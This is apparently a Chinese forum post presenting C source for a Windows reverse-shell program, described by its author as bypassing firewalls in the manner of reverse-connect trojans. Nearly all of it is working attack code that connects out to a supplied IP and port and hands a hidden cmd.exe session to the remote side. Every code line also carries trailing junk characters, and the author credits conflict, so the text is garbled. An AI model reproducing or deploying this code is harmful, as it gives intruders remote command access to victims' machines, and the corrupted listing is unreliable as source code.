这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 L+L"$
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/* ============================== #5-A&
Rebound port in Windows NT L)/6kt=
By wind,2006/7 3aO;@GNJ
===============================*/ $35,\ZO>
#include VXkAFgO
#include mC:X4l]5
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#pragma comment(lib,"wsock32.lib") umm \r&]A
+#*&XX5A#?
void OutputShell(); kQwm"Z
SOCKET sClient; +2EHmuJ;
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]D{c4)\7C|
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void main(int argc,char **argv) r}R^<y@I
{ dqD;y#/
WSADATA stWsaData; 8K.s@<
int nRet; oE!hF }O
SOCKADDR_IN stSaiClient,stSaiServer; }0BL0N`_
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if(argc != 3) 8lOZIbwS
{ BZJKiiD
printf("Useage:\n\rRebound DestIP DestPort\n"); C!7U<rI
return; Kd/[Bs%
} Ehb?CnV#J
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WSAStartup(MAKEWORD(2,2),&stWsaData); TwM1M["3
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nY{i>Y
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stSaiClient.sin_family = AF_INET; U~{Sa+
stSaiClient.sin_port = htons(0); 'f-
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); N
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{ r6]MS#l1
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) O1?B{F/ e
{ 1 [fo'M
printf("Bind Socket Failed!\n"); FgOUe
return; *MYt:ms
} (|g").L
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stSaiServer.sin_family = AF_INET; *|];f#^9
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \|eJJC
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); t7|MkX1
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) k40Ep(M}
{ 7$+P|U
printf("Connect Error!"); >oft :7p
return; :%/\1$3P
} W
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OutputShell(); u}Ei_
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} c8#T:HM|`
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void OutputShell() N@cMM1
{ bbd0ocva
char szBuff[1024]; 3D
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SECURITY_ATTRIBUTES stSecurityAttributes; cP*c(k~N
OSVERSIONINFO stOsversionInfo; :
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 7<EJo$-j
STARTUPINFO stStartupInfo; gI)w^7Gi
char *szShell; W
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PROCESS_INFORMATION stProcessInformation; iD%qy /I/
unsigned long lBytesRead; Az
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); tCZpfZ@+=
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); IIq"e~"Vs
stSecurityAttributes.lpSecurityDescriptor = 0; ')C|`(hs
stSecurityAttributes.bInheritHandle = TRUE; LKqRvPnh
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); <9@&oN+T
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); "0|BoG
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5Xwk*@t2a
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3%XG@OgP
stStartupInfo.wShowWindow = SW_HIDE; ^pJ0nY#c
stStartupInfo.hStdInput = hReadPipe; *Jb_=j*)
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; |.j^G2x
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GetVersionEx(&stOsversionInfo); n<{aPLQ
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switch(stOsversionInfo.dwPlatformId) (JevHdI*V
{ +->\79<#V(
case 1: jZrY=f
szShell = "command.com"; ]|,vCKju
break; iH[E=
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default: BiA>QQ
szShell = "cmd.exe"; Ru)(dvk}S
break; BwJNi6,
} PPN q:,
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); (.PmDBW
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send(sClient,szMsg,77,0); +d =~LQ}*
while(1) 7.%f01/i
{ -<O JqB
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )j\r,9<K+5
if(lBytesRead) 9#u }^t
{ {U(Bfe^a,
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); BApa^j\?
send(sClient,szBuff,lBytesRead,0); ]X*YAPv
} 9^oo-,Su_
else GL/ KB
{ /a%*u6z@
lBytesRead=recv(sClient,szBuff,1024,0); =]T|h
if(lBytesRead<=0) break; [d0%.+U
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); b 1cd&e
} V{KjRSVf=
} O8gfiQqF&
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return; pXssh
}